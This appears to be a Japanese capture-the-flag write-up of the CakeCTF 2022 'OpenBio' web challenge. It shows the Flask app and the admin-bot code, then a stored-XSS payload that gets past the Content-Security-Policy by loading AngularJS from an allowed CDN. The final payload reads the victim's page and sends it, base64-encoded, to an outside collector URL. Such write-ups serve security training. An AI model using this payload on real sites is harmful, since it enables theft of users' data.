[web] OpenBio (CakeCTF 2022) writeup

---

- Source: CakeCTF 2022
- Author: [ptr-yudai](https://x.com/ptrYudai)

---

自身のプロフィールのbioを自由に設定できるアプリ。
![{FB9B5B86-1DE0-4DF1-BA83-787B1694D3CA}.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2982709/10cda213-07f2-899a-1a54-8ff642ccf513.png)

<details><summary>app.py</summary>

```py
import base64
import flask
from flask_wtf.csrf import CSRFProtect
import hashlib
import json
import os
import re
import redis
import requests

REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
REDIS_PORT = int(os.getenv('REDIS_PORT', 6379))
RECAPTCHA_KEY = os.getenv('RECAPTCHA_KEY', '')
SALT = os.getenv('SALT', os.urandom(8))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
csrf = CSRFProtect(app)

"""
Utility functions
"""
def login_ok():
    """Check if the current user is logged in"""
    return 'user' in flask.session

def conn_user():
    """Create a connection to user database"""
    return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
def conn_report():
    """Create a connection to report database"""
    return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)

def success(message):
    """Return a success message"""
    return flask.jsonify({'status': 'success', 'message': message})
def error(message):
    """Return an error message"""
    return flask.jsonify({'status': 'error', 'message': message})

def passhash(password):
    """Get a safe hash value of password"""
    return hashlib.sha256(SALT + password.encode()).hexdigest()

"""
Enforce CSP
"""
@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

@app.context_processor
def csp_nonce_init():
    flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
    return dict(csp_nonce=flask.g.csp_nonce)

"""
Route
"""
@app.route('/')
def home():
    if login_ok():
        conn = conn_user()
        bio = conn.hget(flask.session['user'], 'bio').decode()
        if bio is not None:
            return flask.render_template('index.html',
                                         username=flask.session['user'], bio=bio)
    return flask.render_template('login.html')

@app.route('/profile/<user>')
def profile(user):
    if not login_ok():
        return flask.redirect(flask.url_for('home'))

    is_report = flask.request.args.get('report') is not None

    conn = conn_user()
    if not conn.exists(user):
        return flask.redirect(flask.url_for('home'))

    bio = conn.hget(user, 'bio').decode()
    return flask.render_template('profile.html',
                                 username=user, bio=bio,
                                 is_report=is_report)

"""
User API
"""
@app.route('/api/user/register', methods=['POST'])
def user_register():
    """Register a new user"""
    # Check username and password
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
        return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
    if re.match("^.{8,128}$", password) is None:
        return error("Password must follow regex '^.{8,128}$'")

    # Register a new user
    conn = conn_user()
    if conn.exists(username):
        return error("This username has been already taken.")
    else:
        conn.hset(username, mapping={
            'password': passhash(password),
            'bio': "<p>Hello! I'm new to this website.</p>"
        })
        flask.session['user'] = username
        return success("Successfully registered a new user.")

@app.route('/api/user/login', methods=['POST'])
def user_login():
    """Login user"""
    if login_ok():
        return success("You have already been logged in.")

    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')

    # Check password
    conn = conn_user()
    if conn.hget(username, 'password').decode() == passhash(password):
        flask.session['user'] = username
        return success("Successfully logged in.")
    else:
        return error("Invalid password or user does not exist.")

@app.route('/api/user/logout', methods=['POST'])
def user_logout():
    """Logout user"""
    if login_ok():
        flask.session.clear()
        return success("Successfully logged out.")
    else:
        return error("You are not logged in.")

@app.route('/api/user/update', methods=['POST'])
def user_update():
    """Update user info"""
    if not login_ok():
        return error("You are not logged in.")

    username = flask.session['user']
    bio = flask.request.form.get('bio', '')
    if len(bio) > 2000:
        return error("Bio is too long.")

    # Update bio
    conn = conn_user()
    conn.hset(username, 'bio', bio)

    return success("Successfully updated your profile.")

"""
Report spam account
"""
@app.route('/api/support/report', methods=['POST'])
def report():
    """Report spam
    Support staff will check the reported contents as soon as possible.
    """
    if RECAPTCHA_KEY:
        recaptcha = flask.request.form.get('recaptcha', '')
        params = {
            'secret': RECAPTCHA_KEY,
            'response': recaptcha
        }
        r = requests.get(
            "https://www.google.com/recaptcha/api/siteverify", params=params
        )
        if json.loads(r.text)['success'] == False:
            abort(400)

    username = flask.request.form.get('username', '')
    conn = conn_user()
    if not conn.exists(username):
        return error("This user does not exist.")

    conn = conn_report()
    conn.rpush('report', username)
    return success("""Thank you for your report.<br>Our support team will check the post as soon as possible.""")


if __name__ == '__main__':
    app.run()
```

</details>

flagはadminが作成したbioの中にある。

<details><summary>crawler.js</summary>

```js
const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
    headless: true,
    args: [
        '-wait-for-browser',
        '--no-sandbox', '--disable-gpu',
        '--js-flags="--noexpose_wasm"'
    ]
}

const crawl = async (target) => {
    const url = base_url + '/profile/' + target + '?report';
    console.log(`[+] Crawling: ${url}`);

    const username = Math.random().toString(32).substring(2);
    const password = Math.random().toString(32).substring(2);

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        // Register
        await page.goto(base_url + '/', {timeout: 3000});
        await page.type('#username', username);
        await page.type('#password', password);
        await page.click('#tab-signup');
        await page.click('#signup');
        await wait(1000);

        // Set flag to bio
        await page.goto(base_url + '/', {timeout: 3000});
        await page.$eval('#bio', element => element.value = '');
        await page.type('#bio', "You hacked me! The flag is " + flag);
        await page.click('#update');
        await wait(1000);

        // Check spam page
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

    console.log(`[+] Crawl done`);
    await browser.close();
}

const handle = async () => {
    console.log(await connection.ping());
    connection.blpop('report', 0, async (err, message) => {
        try {
            await crawl(message[1]);
            setTimeout(handle, 10);
        } catch (e) {
            console.log("[-] " + e);
        }
    });
};

handle();
```

</details>

自由にhtmlタグを使用することができ、特にbypassなどもされていないが、CSPでnonseが設定されているため、ただ`<script>`などを挿入しても実行できない。

```py
@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response
```

`script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';`でいくつかのサイトと`unsage-eval`を許可しているのが気になる。

`https://cdn.jsdelivr.net/`で任意のjavascriptを実行させてくれそうなライブラリを探す。Angular.jsが良さそう。

XSSを発火させることができた。
```html
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
```

今回はflagがadminのbioの中にあるのでprofileの内容を取得して外部に送信する必要があるが、adminのusernameはランダムになっておりpathが分からない。しかしよく考えれば`/`の編集画面でも現在のprofileを取得しているため、これを送信すれば良い。

`default-src: 'none';`が設定されていてfetchやsendBeaconがブロックされてしまうので情報を送信する時はlocation.hrefを使う。最終的なpayloadはこうなる。
```html
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(r=>r.text()).then(t=>location.href="https://xxxxxxxx.m.pipedream.net?"+btoa(t))')()}}</div>
```

base64エンコードされたflagが飛んできた。
`CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}`